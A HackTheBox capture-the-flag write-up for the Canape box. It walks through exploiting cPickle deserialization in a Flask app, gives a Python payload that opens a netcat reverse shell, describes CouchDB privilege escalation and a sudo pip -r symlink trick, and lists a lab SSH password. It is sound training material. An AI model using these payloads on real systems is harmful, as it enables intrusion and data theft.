Canape Box Writeup & Walkthrough – [HTB] – HackTheBox

This article shows how to hack Canape box and obtain both user.txt and root.txt.

The Canape is a machine on the HackTheBox platform.

Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with other members of similar interests. It contains several challenges that are constantly updated.

This article shows how to hack the Canape box and get user.txt and root.txt.

First, we scan the ports. (Same with other Boxes).

ScanPorts
Ports Scan

We find that only HTTP port open (80/TCP), so, the website must have security vulnerabilities.

Open the browser, and navigate to the website.

Capane-Website
Capane Website

We then enumerate the website. After the enumeration, we identify a .git folder. We now are able to gain the website source code by using dvcs-ripper.

We also analyse the Git Log. And we found the “check” has security issue.

Capane GitLog
Capane GitLog

This is __init__.py file source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5
 
app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
 
@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
    return render_template("index.html")
 
@app.route("/")
def index():
    return render_template("index.html")
 
@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)
 
WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]
 
@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None
 
    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
        outfile.write(char + quote)
        outfile.close()
            success = True
        except Exception as ex:
            error = True
 
    return render_template("submit.html", error=error, success=success)
 
@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()
 
    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data
 
    return "Still reviewing: " + item
 
if __name__ == "__main__":
    app.run()

As you can see, there is cPickle. It is a built-in python module that allows you to serialise & de-serialise objects. In addition, inside the check function, there is a line:

item = cPickle.loads(data)

It means that this code has RCE security issue.

We are using the following payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests, os, cPickle, re, hashlib
 
class shell(object):
def __init__(self):
self.reverse_ip = "YourIPAddress"
self.reverse_port = "YourPort"
def __reduce__(self):
return (os.system, ("rm /tmp/shell; mknod /tmp/shell p; nc %s %s < /tmp/shell | /bin/bash > /tmp/shell" %(self.reverse_ip, self.reverse_port),))
 
character = "S'homer'\n"
quote = cPickle.dumps(shell())
if re.search('<strong>Success!</strong>', requests.post('http://10.10.10.70/submit', data={"character":character, "quote":quote}).text):
print 'Success'
p_id = hashlib.md5(character + quote).hexdigest()
print requests.post("http://10.10.10.70/check", data={"id":p_id}).text

Then, we use nc to listen local port, and use the above payload to get a reverse shell.

Get Reverse Shell
Get Reverse Shell

Now, we check network connections by executing netstat command

Canape Netstat
Canape Netstat

There are 3 interesting open ports. Port 5984, 5986 and 65535.

After analysing, we identify that the port 65535 is running SSH service. The ports 5984 and 5986 are running CouchDB service.

First, we list all databases.

List Databases
List Databases

There are six databases. Then, we try to gain the data from password database.

CouchDB Failed
CouchDB Failed

Unfortunately, we are not able to access the database, but CouchDB has Remote Privilege Escalation issue. We can use this exploit. Due to that the database host locally, we have to run this exploit on the Canape server.

There are multiple ways to upload the exploit to the target server. I host a simpleHTTP server, then download the exploit to the target server.

Then, we execute our exploit and gain access to the password database.

We execute the above exploit and gain access to the password database.

Gain Access to Password DB
Gain Access to Password DB

We then list the tables.

List Tables
List Tables

Finally, we obtain the SSH password:

0B4jyA0xtytZi7esBNGp

Gain SSH Password
Gain SSH Password
Obtain User.txt
Obtain User.txt

Next, we need to work on privilege escalation.

First, check sudo and see what can we do.

Sudo Info
Sudo Info

Wow, we can run pip. There are two ways to obtain root.txt.

First, you can create a pip package, and using this package read root.txt. I used this way when I played this box. However, after I hacked another box, I learned another way.

As you may know, pip can use -r option. -r option means that “Install from the given requirements file.” It means that the pip will read that file, if we provide -r option.

So, we create a soft link, the softlink links to root.txt.

Create SoftLink
Create SoftLink

Then, we run command, and use -r option. Once we use -r option, it reads the file, and we obtain the root.txt.

Obtain Root.txt
Obtain Root.txt

This box is a little complicated, if you have no idea how to design a web exploit. This box took me around 4 hours. I spent most of the time to create a pip package.

There are other write ups of HackTheBox.